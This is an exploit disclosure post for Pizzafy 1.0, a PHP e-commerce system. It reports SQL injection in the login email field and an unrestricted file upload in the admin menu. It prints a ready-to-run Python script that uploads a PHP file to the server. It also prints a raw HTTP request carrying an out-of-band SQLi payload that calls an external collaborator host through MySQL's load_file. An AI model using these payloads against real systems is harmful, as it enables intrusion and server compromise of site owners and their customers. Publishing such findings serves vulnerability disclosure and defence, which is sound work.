pizzafy-1.0 – SQLi
# Title: pizzafy-1.0 - SQLi # Author: nu11secur1ty # Date: 10/12/2026 # Vendor: https://github.com/clararod9 # Software: https://www.sourcecodester.com/download-code?nid=18708&title=Pizzafy+Ecommerce+System+using+PHP+and+MySQL # Reference: ## Description: # SQLi The email parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\ ig25s4ulz5432zyjjg8kjeasxj3cr5ht8wwoje73.oastify.com\\gyf'))+' was submitted in the email parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. --- # File Upload - shell upload In the menu the parameter "img" in page=menu is not sanitizing correctly, the attacker can execute an shell upload exploit and can execute this upload content directly on the server application. This is an absolutely disaster! STATUS: CRITICAL [+]Payload and Exploits: ``` # File upload - shell: #!/usr/bin/python # FU by nu11secur1ty 2026 import requests session = requests.session() pizzafy0_url = " https://pwnedhost.com:443/Pizzafy/admin/ajax.php?action=save_menu" pizzafy0_cookies = {"PHPSESSID": "m67htkp59u5k3ja3ujbjo525is"} pizzafy0_headers = { "Sec-Ch-Ua-Platform": '"Windows"', "Accept-Language": "en-US,en;q=0.9", "Sec-Ch-Ua": '"Chromium";v="151", "Not=A?Brand";v="99"', "Sec-Ch-Ua-Mobile": "?0", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryhmkTqXpClhtdyXeS", "Origin": "https://pwnedhost.com", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://pwnedhost.com/Pizzafy/admin/index.php?page=menu", "Accept-Encoding": "gzip, deflate, br", "Priority": "u=1, i", "Connection": "keep-alive", } pizzafy0_data = '------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition: form-data; name="id"\r\n\r\n2\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition: form-data; name="name"\r\n\r\nBrocolis\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition: form-data; name="description"\r\n\r\nBrocolis\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition: form-data; name="status"\r\n\r\non\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition: form-data; name="category_id"\r\n\r\n1\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition: form-data; name="price"\r\n\r\n380\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS\r\nContent-Disposition: form-data; name="img"; filename="info.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\n\tphpinfo();\n?>\n\r\n------WebKitFormBoundaryhmkTqXpClhtdyXeS--\r\n' session.post( pizzafy0_url, headers=pizzafy0_headers, cookies=pizzafy0_cookies, data=pizzafy0_data, verify=False ) ### SQLI: POST /Pizzafy/admin/ajax.php?action=login2 HTTP/1.1 Host: pwnedhost.com Cache-Control: max-age=0 Sec-CH-UA: "Chromium";v="151", "Not;A=Brand";v="24", "Google Chrome";v="151" Sec-CH-UA-Mobile: ?0 Sec-CH-UA-Platform: "Windows" Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Accept: */* Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: close Cookie: PHPSESSID=11ckq2t5lj12rc6dieagcauofv Origin: https://pwnedhost.com X-Requested-With: XMLHttpRequest Referer: https://pwnedhost.com/Pizzafy/index.php?page=home Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 57 email=TnrDBluB@burpcollaborator.net'%2b(select%20load_file('%5c%5c%5c% 5cig25s4ulz5432zyjjg8kjeasxj3cr5ht8wwoje73.oastify.com %5c%5cgyf'))%2b'&password=q7V!u2l!L5 ``` # Reproduce: [href]( https://odysee.com/@nu11secur1ty:b/pizzafy-1.0-Multiple-SQLi-FU-shell-vulnerabiliries+Exploit ) # Demo: [href]( https://odysee.com/@nu11secur1ty:b/pizzafy-1.0-Multiple-SQLi-FU-shell-vulnerabiliries+Exploit ) # Time spent: 01:09:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ home page: https://www.asc3t1c-nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/> -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstorm.news/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.asc3t1c-nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> |